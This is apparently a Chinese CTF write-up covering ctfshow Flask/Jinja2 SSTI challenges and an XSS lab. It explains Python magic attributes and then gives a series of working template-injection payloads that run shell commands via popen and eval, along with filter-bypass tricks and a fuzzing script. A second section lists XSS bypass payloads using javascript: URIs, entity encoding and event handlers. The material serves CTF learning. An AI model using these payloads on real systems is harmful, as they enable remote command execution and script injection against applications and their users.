ctfshow ssti
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
常用过滤
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
如何得到payload?
1、先找基类object,用空字符串""来找
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用?name={{"".__class__}},得到空字符串的类<class 'str'>
点号. :python中用来访问变量的属性
__class__:类的一个内置属性,表示实例对象空字符串""的类。
然后使用?name={{"".__class__.__mro__}},得到(<class 'tuple'>, <class 'object'>)
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
然后再用?name={{().__class__.__mro__[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>
或者使用?name={{"".__class__.__bases__}},得到空字符串的类的基类<class 'object'>
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
2、得到基类之后,找到这个基类的子类集合
使用?name={{().__class__.__mro__[1].__subclasses__()}}
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132]}},得到<class 'os._wrap_close'>
<class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令
4、实例化我们找到的类对象
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}},实例化这个类
__init__ 初始化类,返回的类型是function
5、找到这个实例化对象的所有方法
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
__globals__ 使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。
6、根据方法寻找flag
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
popen()一个方法,用于执行命令
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
原文:https://blog.csdn.net/qq_46918279/article/details/121270806
1.
猜测是hello, user_name
尝试heckbar传入?name={{7*7}}
不允许使用post形式,尝试get传入,得到
由此可知注入点位于name
构建payload
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
2.
测试?name={{7*7}}
注入点为name,但过滤了几个数字,2是其中一个
重新构建payload
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
3.
尝试之前的payload,但都不行,过滤掉了单双引号
使用request.args.x1
传递GET参数x1,从而避免单双引号的使用
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
或者使用open函数
?name={{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag
这里有大佬的脚本可以看过滤掉了哪些内容,修改url
import requests
from tqdm import tqdm
url = 'http://889a9ec1-3a91-4e11-925e-3bde2e60fb4a.challenge.ctf.show:8080/?name='
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
fuzzList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','\\','\'','\"','.','+','{','{{','%','#','if','for','class','(',')','[',']','base','bases','mro','_','__','init','globals','subclasses','popen','import','os','dir','builtins','config','get_flashed_messages','current_app','attr','getattr','request','chr','join','|','replace','decode','enter','exit','pop','getitem','args','url_for','range','session','dict','self','reload','count','length','print','curl']
blackList = []
for fuzz in tqdm(fuzzList):
res = requests.get(url=(url+fuzz), headers=headers)
if ':(' in res.text:
blackList.append(fuzz)
print("blackList is ", end="")
print(blackList)
4.
尝试之前的payload,但是都出错了,过滤了单双引号、args
用request.cookies.x1
代替request.args.x1或者用char
cookie需要bp抓包进行书写
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x2=__import__('os').popen('cat /f*').read();x1=__builtins__
?name={%set chr=x.__init__.__globals__.__builtins__.chr%}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
5.
还是进行测试发现过滤了引号,还有中括号,但request.cookies仍然可以用,或者使用__str__[数字]进行字符串拼接
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
6.
测试之前payload结果都不行,发现可能是过滤掉了下划线,也可以试试363的脚本看看过滤掉了哪些,发现是'
、"
、[
、_
和 args,
尝试构建payload
可以用attr()+requests.args.x构造
?name={{(x|attr(request.cookies.x3)|attr(request.cookies.x4)|attr(request.cookies.x5))(request.cookies.x1).eval(request.cookies.x2)}}
cookie:x3=__init__;x4=__globals__;x5=__getitem__;x1=__builtins__;x2=__import__('os').popen('cat /f*').read()
7.
用脚本跑一下,过滤了 '
、"
、[
、__
、os
、get_flashed_messages
、current_app
、url_for
和 args,
将 os
放进 request
即可
8.运行脚本
构建payload
{% print((lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()) %}&globals=__globals__&a=os&flag=cat%20/flag
xss
5.
发现这两个被屏蔽了,试试<a>标签,在href里面用伪协议试试
<a href="https://bilibili.com">网址直接跳转</a>
<a href="images/1.webp">相对路径跳转</a>
<a href="hello.exe">如果是打不开的文件,则下载之</a>
<a href="">空链接是刷新</a>
<a href="#">#是回到顶部</a>
<a href="javascript:;">禁止链接跳转</a>
<a> 标签定义超链接,用于从一个页面链接到另一个页面。
成功
6.
照例测试
全部屏蔽,在html里面是不区分大小写的,试试把属性换成大写
"><a HREF="javascript:alert()">ss
7.
测试看看
丢了script和on,试试重复书写
"><sscriptcript>alert()</sscriptcript>
8.测试
input中的符号,全部被屏蔽,试试a标签,a标签情况还好
将javascript实体化编码,查询到r的实体化编码r 替换一下
javascript:alert()
9.
,尝试之前的操作,都不行,尝试输入网址,但无法实现
然后尝试带有http的网址,成功回显
试了几次发现只要输入的里面有http://就可以成功显示,尝试把http://注释掉
javascript:alert()>//http://www.baidu.com
还是把JavaScript的r给实体化
javasc$#114;ipt:alert()//http://www.baidu.com
10.
进行测试
发现有三个隐藏的input,尝试赋值
?t_link=3&t_history=3&t_sort=3
t_sort被成功赋值了,可以利用这个点注入
t_sort=3" οnclick=alert()
将hiden改为button
11.
还是和以前一样进行测试
和之前一样进行传值
没有回显
发现被过滤掉了
这里有一个refer,尝试进行传参
hackbar传参
构建payload在refer里传参
12.
发现里面有个ua函数
**UA是什么?UA也称User-Agent,当用户发起一个请求时,网站会通过判断 UA的数据,如(名称,版本,浏览器内核,内核版本)等等,来给不同的操作系统,不同的浏览器发送不同的页面
利用hacbar里的ua进行传参
构建payload
t_ua=" οnclick=alert() type="botton""
13.
发现是cookie传参,和上面操作一样
但发现似乎并没有传参成功,接着尝试一下hacbar的传参
发现只是将user隐藏了
15.
这儿有个ng-include,比较陌生
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
?src='/level1.php'
用这个函数可以包涵之前的一关并对其传参,先测试一下过滤了啥,尝试构建payload
随便写一些,在加上Javascript的
实体化
eg:?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
除了有实体化函数就没别的了
可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要手动点击弹窗的)
这里使用img标签,可参考XSS常见的触发标签,构造payload
?src='/level1.php?name=<img src=1 οnmοuseοver=alert()>'
16.
这里可以看到test插入到了center中,先测试一波关键字
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,但是题目将/给替换成了空格
查看后端源码发现空格可以用回车来替代,回车的url编码是%0a,使用不用/的<img>,构造payload
?keyword=<svg%0Aοnlοad=alert(1)>
17.
先进行测试
传入的参数都出现在了embed,打开后缀名为swf的文件
swf FLASH插件的文件
简单了解一下embed标签, embed标签可以加入事件,可以在arg01,或者arg02中加入事件去触发
去后端改一下,将后端第十七关的代码(level17.php)指向的swf文件改为index.png
构造payload
?arg02= οnclick=alert()
18.
缺少flash插件,所以说一下思路,测试过滤
?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
和上一关差不多,构建payload
?arg02= οnmοusedοwn=alert()
19.20都需要flash插件
说一下思路
19.
只有swf文件不同,往Flash里面插入一段js代码,然后手动执行,构造payload
?arg01=version&arg02=<a href="javascript:alert()">here</a>
需要用到swf反编译
20.
直接构建payload
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123